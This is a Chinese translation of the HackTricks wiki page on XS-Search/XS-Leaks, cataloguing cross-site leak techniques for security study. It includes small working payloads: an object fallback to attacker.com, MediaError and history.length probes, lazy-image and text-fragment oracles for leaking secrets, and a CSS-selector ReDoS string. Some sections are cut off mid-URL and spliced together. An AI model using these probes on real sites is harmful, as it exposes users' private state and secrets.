hacktricks/pentesting-web/xs-search.md

59 KiB
Raw Blame History

XS-Search/XS-Leaks

使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习 AWS 黑客攻击直到成为英雄,通过 htARTE (HackTricks AWS Red Team Expert)

其他支持 HackTricks 的方式:

基本信息

XS-Search 是一种旨在泄露跨源信息的技术,通过滥用侧信道攻击

这种攻击有不同的元素:

  • 易受攻击的网页:我们想要从中泄露一些信息的网页
  • 攻击者的网页:攻击者创建包含漏洞的网页,受害者会访问这个网页
  • 包含方法:用于从攻击者的网页加载易受攻击的网页的方法(如 window.open、iframe、fetch、带 href 的 HTML 标签...
  • 泄露技术:访问易受攻击的网页后,将使用一种技术来区分从使用的包含方法获得的信息中的潜在状态。
  • 状态:易受攻击的网页可能有的两种状态,我们想要区分受害者的状态。
  • 可检测差异:攻击者必须尝试决定易受攻击网页状态的信息

可检测差异

为了区分易受攻击页面的两种状态,可以查看以下几点:

  • 状态码。攻击者可以区分不同的 HTTP 响应状态码跨源(例如,服务器错误、客户端错误或身份验证错误)。
  • API 使用情况。这种可检测差异允许攻击者检测跨页面的 Web API 使用情况,允许攻击者推断跨源页面是否使用特定的 JavaScript Web API。
  • 重定向。可以检测 Web 应用程序是否将用户导航到不同的页面。这不仅限于 HTTP 重定向,还包括由 JavaScript 或 HTML 触发的重定向。
  • 页面内容。这些可检测的差异出现在 HTTP 响应体本身或页面包含的子资源中。例如,这可能是包含的框架数量(参见 Gitlab 上的 XS-Leak或图像大小差异。
  • HTTP 头。攻击者可以检测到特定 HTTP 响应头的存在,并且可能能够收集其值。这包括诸如 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
  • 时间:攻击者可以检测到两种状态之间存在一致的时间差异。

包含方法

  • HTML 元素。HTML 提供了多种元素,可以实现跨源资源包含。像样式表、图像或脚本这样的元素,迫使受害者的浏览器请求指定的非 HTML 资源。有一个在线列表列出了可能的 HTML 元素,用于此目的(https://github.com/cure53/HTTPLeaks)。
  • 框架。像 iframeobjectembed 这样的元素可以直接将更多 HTML 资源嵌入到攻击者页面中。如果页面没有使用框架保护JavaScript 代码可以通过 contentWindow 属性访问框架资源的 window 对象。
  • 弹出窗口window.open 方法在新的浏览器标签页或窗口中加载资源。该方法返回一个窗口句柄JavaScript 代码可以用来访问符合同源策略的方法和属性。这些所谓的弹出窗口通常用于单点登录。现代浏览器只允许在某些用户交互触发的情况下允许弹出窗口。对于 XS-Leak 攻击,这种方法特别有用,因为它绕过了对目标资源的框架和 cookie 限制。较新的浏览器版本最近添加了隔离窗口句柄的方法。
  • JavaScript 请求。JavaScript 允许直接向目标资源发送请求。有两种不同的方式用于此目的:XMLHttpRequests 和它的继任者 Fetch API。与之前的包含方法相比,攻击者可以对发出的请求进行细粒度控制,例如,是否必须自动跟随 HTTP 重定向。

泄露技术

  • 事件处理程序。事件处理程序可以被视为 XS-Leaks 的经典泄露技术。它们是各种信息的众所周知的来源。例如,onload 的触发表明资源加载成功,与 onerror 事件相反。
  • 错误消息。除了事件处理程序之外,错误消息可能以JavaScript 异常特殊错误页面的形式出现。错误消息可以在不同的步骤中抛出,例如,直接由泄露技术抛出。泄露技术可以使用错误消息中直接包含的额外信息,或区分错误消息的出现与缺失
  • 全局限制。每台计算机都有其物理限制,浏览器也是如此。例如,可用内存的数量限制了浏览器运行的标签页。对于整个浏览器强制执行的其他浏览器限制也是如此。如果攻击者可以确定何时达到限制,这可以用作泄露技术
  • 全局状态。浏览器有所有页面都可以与之交互的全局状态。如果攻击者的网站可以检测到这种交互,它可以用作泄露技术。例如,历史记录接口允许操作在标签页或框架中访问的页面。这创建了一个全局状态,因为条目数量允许攻击者对跨源页面得出结论。
  • 性能 API。性能 API 用于访问当前页面的性能信息。它们的条目包括文档和页面加载的每个资源的详细网络计时数据。这允许攻击者对请求的资源得出结论。例如,我们发现了浏览器不会为某些请求创建性能条目的情况。
  • 可读属性。HTML 有几个可跨源读取的属性。这种读取访问可以用作泄露技术。例如JavaScript 代码可以使用 window.frame.length 属性跨源读取网页中包含的框架数量。

基于时间的技术

以下一些技术将使用时间作为检测网页可能状态差异过程的一部分。在 Web 浏览器中有不同的方法来测量时间。

时钟performance.now() API 允许开发者获得高分辨率的时间测量。
有大量的 API 可以被攻击者滥用来创建隐式时钟:Broadcast Channel APIMessage Channel APIrequestAnimationFramesetTimeoutCSS 动画等。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator 是一个自动工具,用于检查浏览器是否存在几种已知的 XS-Leaks,在其论文中解释:https://xsinator.com/paper.pdf
您可以在 https://xsinator.com/ 访问该工具

{% hint style="warning" %} 排除的 XS-Leaks:我们不得不排除依赖于服务工作者的 XS-Leaks因为它们会干扰 XSinator 中的其他泄露。此外,我们选择排除依赖于特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks。例如跨源资源共享CORS配置错误、postMessage 泄露或跨站脚本攻击。此外,我们排除了基于时间的 XS-Leaks因为它们通常受到缓慢、噪声和不准确的影响。 {% endhint %}


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

事件处理程序技术

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

代码示例尝试从 JS 加载脚本对象,但也可以使用其他标签,如对象、样式表、图像、音频等。此外,也可以直接注入标签并在标签内声明 onloadonerror 事件(而不是通过 JS 注入)。

这种攻击也有一个无脚本版本:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

在这种情况下,如果 example.com/404 没有找到,将会加载 attacker.com/?error

Onload 时间

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload 时间 + 强制重任务

这种技术就像前一种,但攻击者还会强制执行某些动作,当答案是肯定或否定时需要花费相当长的时间,并测量那个时间。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload 时间

unloadbeforeunload 事件可用于测量获取资源所需的时间。这是因为 beforeunload 在浏览器请求新导航时触发,而 unload 在该导航实际发生时触发。因此,可以计算这两个事件之间的时间差,并测量浏览器完成获取资源所需的时间

沙盒框架时间 + onload

如果页面没有实施任何框架保护攻击者可以计时页面及其所有子资源在网络上加载所需的时间。默认情况下iframe 的 onload 处理程序在所有资源加载完毕且所有 JavaScript 执行完毕后调用。但是,攻击者可以通过在 <iframe> 中包含 sandbox 属性来消除脚本执行的干扰。此属性阻止了许多功能,包括 JavaScript 执行,这导致几乎纯粹的网络测量。

#ID + error + onload

  • 包含方法:框架
  • 可检测差异:页面内容
  • 更多信息
  • 概要:如果你能在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么你可以循环提取所有信息而无需测量时间。
  • 代码示例

假设你可以插入包含秘密内容的页面到一个 Iframe 中

你可以让受害者搜索包含 "flag" 的文件,使用一个Iframe(例如利用 CSRF。在 Iframe 中你知道 onload 事件至少执行一次。然后,你可以更改 iframeURL,但只更改 URL 中的哈希部分。

例如:

  1. URL1www.attacker.com/xssearch#try1
  2. URL2www.attacker.com/xssearch#try2

如果第一个 URL 成功加载,那么,在更改 URL 的哈希部分时,onload 事件不会再次触发。但如果页面在加载时出现某种错误,那么,onload 事件将再次触发

然后,你可以区分页面是正确加载还是在访问时出现错误

Javascript 执行

  • 包含方法:框架
  • 可检测差异:页面内容
  • 更多信息
  • 概要:如果页面正在返回 敏感内容,或者可以由用户控制内容。用户可以在负面情况下设置有效的 JS 代码,并在 <script> 标签内加载每次尝试,因此在负面情况下攻击者代码执行,在肯定情况下什么都不会执行
  • 代码示例

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • 包含方法HTML 元素
  • 可检测差异:状态码和头部
  • 更多信息https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 概要:攻击者可以观察到当响应返回受 CORB 保护Content-Type(和 nosniff)以及状态码 2xxCORB 会从响应中剥离正文和头部。检测到这种保护允许攻击者泄露两者的组合:状态码(成功与否)和**Content-Type(是否受 CORB 保护)。**
  • 代码示例

查看更多信息链接以获取有关攻击的更多信息。

onblur

可以加载一个页面iframe中,并使用 #id_value 使页面聚焦到带有指定 id 的 iframe 元素上,然后如果触发了 onblur 信号ID 元素存在。
你可以使用 portal 标签执行相同的攻击。

postMessage 广播

  • 包含方法:框架,弹出窗口
  • 可检测差异API 使用
  • 更多信息https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 概要:从 postMessage 收集敏感信息,或使用 postMessages 的存在作为甲骨文来了解用户在页面中的状态
  • 代码示例监听所有 postMessages 的任何代码。

应用程序经常使用 postMessage 广播 来与其他来源共享信息。监听这些消息,可以找到敏感信息(如果没有使用 targetOrigin 参数的话)。此外,接收到某些消息的事实可以用作甲骨文(如果你登录了,你才会收到这种消息)。


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

全局限制技术

WebSocket API

可以识别目标页面使用了多少个WebSocket 连接。它允许攻击者检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。

如果一个来源使用了最大数量的 WebSocket 连接对象,无论它们的连接状态如何,创建新对象将导致 JavaScript 异常。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后,在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。抛出的异常数量目标网站窗口使用的 WebSocket 连接数量

Payment API

这个 XS-Leak 使攻击者能够检测跨源页面何时启动支付请求

因为一次只能激活一个请求支付,如果目标网站正在使用 Payment Request API任何进一步尝试显示此 API 将失败,并导致JavaScript 异常。攻击者可以通过定期尝试显示 Payment API UI 来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。

Timing the Event Loop

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript 的并发模型基于单线程事件循环,这意味着它一次只能运行一个任务
通过测量下一个事件池中的任务运行需要多长时间来推断不同来源的代码运行时间。攻击者不断向事件循环发送具有固定属性的事件,这些事件最终会被分发,如果池为空的话。其他来源向同一个池分发事件,这就是攻击者通过检测其任务是否延迟来推断时间差异的地方。

{% hint style="warning" %} 在执行时间攻击中,可以消除 网络因素以获得更精确的测量。例如,通过在加载页面之前加载页面使用的资源。 {% endhint %}

Busy Event Loop

这种技术的主要优势之一是它能够绕过站点隔离,因为攻击者来源可以影响另一个来源的执行。

{% hint style="warning" %} 在执行时间攻击中,可以消除 网络因素以获得更精确的测量。例如,通过在加载页面之前加载页面使用的资源。 {% endhint %}

Connection Pool

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
**`MediaError`** 接口的 message 属性对于成功加载的资源包含**不同的字符串**。这允许攻击者推断跨域资源的响应状态。

### CORS 错误

* **包含方法**Fetch API
* **可检测差异**:头部
* **更多信息**[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**:在 SA 中CORS 错误信息泄露了重定向的完整 URL。
* **代码示例**[https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

此技术允许攻击者泄露由跨域站点发起的重定向目标。

CORS 允许任何网站读取和使用公开可访问的网络资源。在基于 Webkit 的浏览器中,当 CORS 请求失败时,可以**访问 CORS 错误信息**。攻击者可以向目标网站发送启用了 CORS 的请求,该请求基于用户状态进行**重定向**。当浏览器拒绝请求时,**重定向目标的完整 URL 会在错误信息中泄露**。通过这种攻击,可以检测重定向,泄露重定向位置和敏感查询参数。

### SRI 错误

* **包含方法**Fetch API
* **可检测差异**:头部
* **更多信息**[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**:在 SA 中CORS 错误信息泄露了重定向的完整 URL。
* **代码示例**[https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻击者可以由于**详细的错误信息**泄露跨域响应的大小。

integrity 属性定义了浏览器可以通过其验证获取的资源未被篡改的加密哈希。这种安全机制称为子资源完整性SRI。它用于验证从内容交付网络CDNs提供的资源的完整性。为了防止数据泄露跨域资源必须**启用 CORS**。否则,响应不符合完整性验证。与 CORS 错误 XS-Leak 类似,可以在带有 integrity 属性的 fetch 请求失败后捕获**错误信息**。攻击者可以通过指定**伪造的哈希值**强制**触发**此**错误**。在 SA 中,此错误信息泄露了请求资源的内容长度。攻击者可以利用这种泄露来检测响应大小的差异,从而实现强大的 XS-Leak 攻击。

### CSP 违规/检测

* **包含方法**:弹出窗口
* **可检测差异**:状态码
* **更多信息**[https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **概要**:如果我们访问的受害者网站的 CSP 仅允许该网站尝试重定向到不同域名时CSP 将触发可检测的错误。
* **代码示例**[https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak 可以使用 CSP 来检测是否有跨域站点被重定向到不同的源。这种泄露可以检测重定向,此外,重定向目标的域名也会泄露。这种攻击的基本思想是**允许目标域名在攻击者站点上**。一旦向目标域名发出请求,它**重定向**到跨域域名。**CSP 阻止**访问它,并创建**违规报告用作泄露技术**。根据浏览器的不同,**此报告可能泄露重定向的目标位置**。\
现代浏览器不会显示重定向到的 URL但你仍然可以检测到触发了跨域重定向。

### 缓存

* **包含方法**:框架,弹出窗口
* **可检测差异**:页面内容
* **更多信息**[https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **概要**:从缓存中清除文件。打开目标页面检查文件是否存在于缓存中。
* **代码示例**

浏览器可能会为所有网站使用一个共享缓存。不管它们的来源如何,都可以推断目标页面是否**请求了特定文件**。

如果页面仅在用户登录时加载图像,则可以**使资源无效**(如果它已经被缓存,则不再缓存,参见更多信息链接),**执行可能加载该资源的请求**,并尝试**使用错误请求加载资源**(例如,使用过长的 referer 头)。如果资源加载**没有触发任何错误**,那是因为它是**缓存的**。

### CSP 指令

* **包含方法**:框架
* **可检测差异**:头部
* **更多信息**[https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **概要**:可以通过 CSP iframe 属性探测 CSP 头部指令。
* **代码示例**[https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

GC 中的一个新功能允许网页通过在 iframe 元素上设置属性来提出 CSP。策略指令随 HTTP 请求一起传输。通常,嵌入内容必须通过 HTTP 头部明确允许这一点,**否则会显示错误页面**。然而,如果 iframe 已经附带了 CSP 并且新策略不更严格,则页面将正常显示。

这允许攻击者检测跨域页面的特定 CSP 指令,如果可以**检测到错误页面**。尽管这个漏洞现在被标记为已修复,我们发现了一种**新的泄露技术可以检测错误页面,因为底层问题从未得到解决。**

### **CORP**

* **包含方法**Fetch API
* **可检测差异**:头部
* **更多信息**[**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **概要**:用 CORP 保护的资源在获取时会抛出错误。
* **代码示例**[https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORP 头部是一个相对较新的网络平台安全功能,设置后**阻止对给定资源的 no-cors 跨域请求**。可以检测到头部的存在,因为用 CORP 保护的资源在获取时会**抛出错误**。

### CORB

* **包含方法**HTML 元素
* **可检测差异**:头部
* **更多信息**[https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **概要**CORB 允许攻击者检测请求中是否存在**`nosniff` 头部**。
* **代码示例**[https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

有关攻击的更多信息,请查看更多信息链接。

### CORS 错误在 Origin 反射配置错误上 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **包含方法**Fetch API
* **可检测差异**:头部
* **更多信息**[https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **概要**:如果 Origin 头部在头部 `Access-Control-Allow-Origin` 中被反射,则可以检查资源是否已经在缓存中。
* **代码示例**[https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

如果**Origin 头部**在头部 `Access-Control-Allow-Origin` 中被**反射**,攻击者可以滥用此行为尝试以**CORS**模式**获取**资源。如果没有触发**错误**,则意味着它是**正确从网络检索的**,如果触发了错误,那是因为它是**从缓存访问的**(错误出现是因为缓存保存了一个允许原始域而非攻击者域的 CORS 头部的响应)**。**\
请注意,如果原始源没有被反射,而是使用了通配符(`Access-Control-Allow-Origin: *`),这将不起作用。

## 可读属性技术

### Fetch 重定向

* **包含方法**Fetch API
* **可检测差异**:状态码
* **更多信息**[https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **概要**GC 和 SA 允许在重定向完成后检查响应的类型opaque-redirect* **代码示例**[https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

使用 Fetch API 并设置 `redirect: "manual"` 和其他参数提交请求,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是一个重定向。

### COOP

* **包含方法**:弹出窗口
* **可检测差异**:头部
* **更多信息**[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **概要**COOP 保护的页面无法访问。
* **代码示例**[https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

攻击者可以泄露跨域 HTTP 响应中是否可用跨源打开者策略COOP头部。

Web 应用程序可以部署 COOP 响应头部以防止其他网站获得对应用程序的任意窗口引用。然而,这个**头部可以很容易地被检测到**,通过尝试读取**`contentWindow` 引用**。如果一个站点只在一种状态下部署**COOP**这个属性opener是**未定义的****否则**它是**定义的**。

### URL 最大长度 - 服务器端

* **包含方法**Fetch API, HTML 元素
* **可检测差异**:状态码 / 内容
* **更多信息**[https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **概要**:由于重定向响应长度可能太大,服务器回复错误并生成警报,因此检测响应中的差异。
* **代码示例**[https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

如果服务器端重定向在重定向中使用**用户输入**和**额外数据**。可以检测到这种行为,因为通常**服务器**有一个**限制请求长度**。如果**用户数据**是**长度 - 1**,因为**重定向**正在使用**该数据**并**添加**一些**额外的**,它将触发一个**通过错误事件可检测的错误**。

如果你能以某种方式为用户设置 cookie你也可以通过**设置足够的 cookie**[**cookie 炸弹**](hacking-with-cookies/cookie-bomb.md))执行此攻击,因此**正确响应的响应增加大小**会触发一个**错误**。在这种情况下,请记住,如果你从同一站点触发此请求,`<script>` 将自动发送 cookie因此你可以检查错误。\
**cookie 炸弹 + XS-Search** 的一个示例可以在此 writeup 的预期解决方案中找到:[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

通常需要 `SameSite=None` 或处于相同上下文中才能进行此类攻击。

### URL 最大长度 - 客户端

* **包含方法**:弹出窗口
* **可检测差异**:状态码 / 内容
* **更多信息**[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **概要**:由于重定向响应长度可能对于请求来说太大,因此可以注意到差异。
* **代码示例**[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

帧计数

通过 iframewindow.open 打开的网页中计算帧数,可以帮助识别用户在该页面上的状态
此外,如果页面的帧数始终相同,持续检查帧数可以帮助识别可能泄露信息模式

这项技术的一个例子是在chrome中可以通过帧计数检测 PDF,因为内部使用了 embed。有一些打开URL参数,允许对内容进行一些控制,例如 zoomviewpagetoolbar,在这些情况下,这项技术可能很有趣。

HTMLElements

一些网页可能会根据用户信息动态生成媒体文件或添加改变媒体大小的水印。攻击者可以使用这些HTML元素泄露的信息来区分可能的状态。

一些HTMLElements会向跨源泄露一些信息例如它们是什么类型的媒体

CSS属性

Web应用程序可能会根据用户的状态改变网站样式。跨源CSS文件可以通过HTML链接元素嵌入到攻击者页面中,规则将被应用到攻击者页面。如果页面动态更改这些规则,攻击者可以检测这些差异,取决于用户状态。
作为泄露技术,攻击者可以使用 window.getComputedStyle 方法来读取CSS属性。因此如果已知受影响的元素和属性名称攻击者可以读取任意CSS属性。

CSS历史

{% hint style="info" %} 根据这个在无头Chrome中不起作用。 {% endhint %}

使用CSS :visited 选择器可以为已访问的URL应用不同的样式。
以前可以使用 getComputedStyle() 来检测这种差异,但现在浏览器通过始终返回链接被访问的值并限制使用选择器可以应用的样式来防止这种情况。
因此可能需要诱使用户点击CSS影响的区域这可以使用 mix-blend-mode 来完成。
还有一些不需要用户互动的方法,例如滥用渲染时间,因为将链接涂成不同颜色需要时间。
在chromium报告中提供了一个PoC通过使用多个链接来增加时间差异来工作。

ContentDocument X-Frame 泄露

在Chrome中当页面因为设置了X-FrameOptionsXFO头部为拒绝或同源而不允许嵌入到跨源页面时会显示错误页面。对于对象,可以通过检查 contentDocument 属性来检测这个错误页面。通常这个属性返回null因为不允许访问跨源嵌入文档。然而由于Chrome渲染错误页面,返回了一个空文档对象。这不适用于iframe或其他浏览器。开发者可能忘记为所有页面设置X-Frame-Options特别是错误页面经常缺少这个头部。作为泄露技术攻击者可能能够通过检查它来区分不同的用户状态。

下载检测

Content-Disposition 头部(Content-Disposition: attachment)指示浏览器是应该下载内容还是内联显示它。

如果只有登录用户能够访问将下载文件的页面,因为它使用了头部。可以检测到这种行为。

下载栏

在基于Chromium的浏览器中当文件被下载时下载过程的预览出现在底部的栏中,集成到浏览器窗口中。通过监控窗口高度,攻击者可以检测“下载栏”是否打开。

下载导航使用iframes

另一种测试 Content-Disposition: attachment 头部的方法是检查是否发生了导航。如果页面加载导致下载,它不会触发导航,窗口将保持在同一源中

下载导航不使用iframes

与前一种技术相同,但使用 window.open 而不是iframes。

分区HTTP缓存绕过

{% hint style="warning" %} 这就是为什么这项技术很有趣Chrome现在有缓存分区,新打开页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)但如果我打开一个ngrok页面并在其中使用fetch缓存键将是(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)缓存键不同,因此缓存不能共享。你可以在这里找到更多细节:通过分区缓存获得安全性和隐私性
(评论来自这里 {% endhint %}

如果一个站点 example.com 包含了来自 *.example.com/resource 的资源,那么该资源将具有与直接通过顶级导航请求的资源相同的缓存键。这是因为缓存键由顶级 eTLD+1 和框架 eTLD+1 组成。

因为访问缓存比加载资源更快所以可以尝试更改页面的位置并在20ms例如后取消它。如果在停止后源被更改这意味着资源被缓存了。
或者只是发送一些fetch到可能被缓存的页面并测量它所需的时间

手动重定向

使用 AbortController 的 Fetch

AbortController 可以与 fetchsetTimeout 结合使用,既可以检测资源是否被缓存,也可以从浏览器缓存中清除特定资源。这项技术的一个好处是,探测过程不会在过程中缓存新内容。

脚本污染

Service Workers

  • 包含方法:弹出窗口
  • 可检测差异:页面内容
  • **更
<img src=/something loading=lazy >

因此,您可以做的是添加大量无用字符(例如数千个"W")来填充网页,直到出现秘密,或者添加类似 <br><canvas height="1850px"></canvas><br> 的内容。
然后,如果我们的注入出现在flag之前图片将会被加载,但如果出现在flag之后flag加上无用信息将会阻止图片加载(您需要尝试放置多少无用信息)。这就是在这篇文章中发生的情况。

另一个选项是使用scroll-to-text-fragment,如果允许的话:

Scroll-to-text-fragment

然而,您可以让机器人访问页面,类似于

#:~:text=SECR

因此,网页将是这样的:https://victim.com/post.html#:~:text=SECR

其中post.html包含攻击者的垃圾字符和懒加载图片然后机器人的秘密被添加。

这段文本的作用是让机器人访问页面中包含文本SECR的任何文本。由于该文本是秘密,并且就在图片下方只有在猜测的秘密正确时图片才会加载。所以,你就有了一个神谕来逐个字符地泄露秘密

一些利用这个漏洞的代码示例:https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

基于懒加载图片的时间

如果无法加载外部图片来指示攻击者图片已加载,另一个选项是尝试多次猜测字符并测量时间。如果图片加载了,所有请求所需的时间会比图片未加载时长。这是在这篇writeup的解决方案中使用的方法,在这里总结:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

如果使用了jQuery(location.hash),可以通过计时来发现是否存在某些HTML内容,这是因为如果选择器main[id='site-main']不匹配,就不需要检查其余的选择器

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS注入

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御措施

在本节中,您可以找到部分在https://xsinator.com/paper.pdf中推荐的缓解措施但是在wiki的每个部分https://xsleaks.dev/中都有更多的缓解措施。请在那里查看更多关于如何防御这些技术的信息。

包含方法缓解

  • HTML元素。可以使用CORP头部来控制页面是否可以嵌入资源。CORP可以设置为same-origin或same-site并分别阻止任何跨源或跨站点对该资源的请求。在客户端基于Chromium的浏览器使用CORB算法来决定是否允许或拒绝跨源资源请求。
  • 框架。防止iframe元素加载HTML资源的主要防御措施是使用X-Frame-Options。另外,CSP指令frame-ancestors可以达到类似的效果。如果嵌入被拒绝,包含方法无法检测到响应中的差异。
  • 弹出窗口。为了限制对window.opener的访问,COOP HTTP响应头定义了三个不同的值unsafe-none默认same-origin-allow-popups和same-origin。这些值可以用来隔离浏览标签页和弹出窗口,从而减轻基于弹出窗口的泄露技术。
  • JavaScript请求。跨源JavaScript请求经常用于XS-Leak攻击因为攻击者可以对发出的请求进行精细控制。然而由于这些请求不是CORS启用的它们受到与HTML元素如脚本或图像发送的请求相同的限制。因此这种泄露技术的影响也可以通过CORP和CORB缓解

更通用的方法:

  • Fetch Metadata。这些请求头允许服务器所有者更好地了解用户的浏览器是如何引起特定请求的。在Chrome中Sec-Fetch-*头会自动添加到每个请求中并提供有关请求来源的元数据。例如Sec-Fetch-Dest: image是由图像元素触发的。Web应用程序可以选择根据该信息来阻止请求。
